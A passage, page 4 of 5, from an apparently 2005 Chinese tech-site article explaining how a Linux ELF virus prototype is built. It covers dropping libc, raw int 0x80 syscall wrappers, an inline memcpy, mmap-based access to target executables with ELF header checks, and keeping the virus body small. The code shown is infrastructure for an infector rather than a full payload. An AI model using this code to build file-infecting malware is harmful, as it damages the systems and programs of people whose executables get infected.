设为首页
联系站长
加入收藏

您的位置: 首页>>IT业界>>互联网>>正文
 剖析Linux病毒原型的工作过程和关键环节
 日期:2005-5-26 15:32:27  来源:100down.com

8 抛弃C库

由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函
数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向
外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我
们有必要选择抛弃C库。

没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有
两种情况,一种是系统调用,另一种是普通的函数。

对于系统调用,我们采用了重新包装的方法:
static inline
g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline
g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline
g_syscall1(int, close, int, fd);
static inline
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline
g_syscall2(int, munmap, void *, addr, size_t, len);
static inline
g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline
g_syscall2(int, fstat, int, filedes, struct stat *, buf);

并且修改了syscall包装的宏定义,如
#define g__syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
res = -1; \
} \
return (type) (res); \
} while (0)

#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
g__syscall_return(type,__res); \
}

对于普通的函数,直接复制一份函数定义:
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
"rep ; movsl\n\t"
"testb $2,%b4\n\t"
"je 1f\n\t"
"movsw\n"
"1:\ttestb $1,%b4\n\t"
"je 2f\n\t"
"movsb\n"
"2:"
: "=&c" (d0), "=&D" (d1), "=&S" (d2)
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
: "memory");
return (to);
}

9 保证病毒代码的瘦身需要

为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意
代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个
调用都会引起代码体积的增加。
在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对
目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标
文件时所要做的read调用,节省了一些空间:

ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
goto err;
}

/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}

当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的
代码体积还在合理的范围,
在调试状态和标准状态分别是1744和1248
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif

10 数据结构的不一致

与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过
包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。

struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};

struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};

本新闻共5页,当前在第4页  1  2  3  4  5  

相关文章

·把Linux的密码转换成FreeBSD dat
·按部就班三步走:RHCE黄金认证轻松
·实力的终极挑战:RHCE认证难点剖析
·考前必读:怎样准备RHCE考试大方向
·认证考试介绍之RHCE篇
·红旗Linux认证证书样本
·高手攻关心得:RHCE实战详细经验
·实力的终极挑战:RHCE认证难点剖析
·考前必读:怎样准备RHCE考试大方向
·明年Redhat考试将有重大调整


阅读排行

·Win 2000不能访问Win XP的原因及
·解析Windows中的帐户和权限功能
·如何共享Windows XP操作系统
·Windows XP Service Pack 1
·通过 Windows XP 注册表自定义您
·Windows 2000 TCP/IP协议概述
·Windows 2000 Server TCP/IP协议
·dos常用命令使用说明
·Windows变慢原因分析及解决方法(
·Windows变慢原因分析及解决方法(
·WINXP下强行关闭“杀”不了的进程
·Windows XP系统注册表的恢复

最新文档

·创业激情需冷静 网络代理选择应理
·域名交易平台亟需规范 预防域名买
·Travel旅游域名即将引发抢注潮 
·从原理深处分析如何预防arp攻击
·突破建站弊端 企业网络营销大有可
·如何区分进程和病毒?
·java的基础知识,如何学好java
·微机原理与接口技术基础知识
·如何解决青少年沉迷网络的问题,
·全面分析主板BIOS报警信号

请您注意:
·尊重网上道德,遵守中华人民共和国的各项有关法律法规
·您在本站发表的作品,本站有权在网站内转载或引用
·其他网站如果需要转载 本站文章请在贵站著名来源,谢谢合作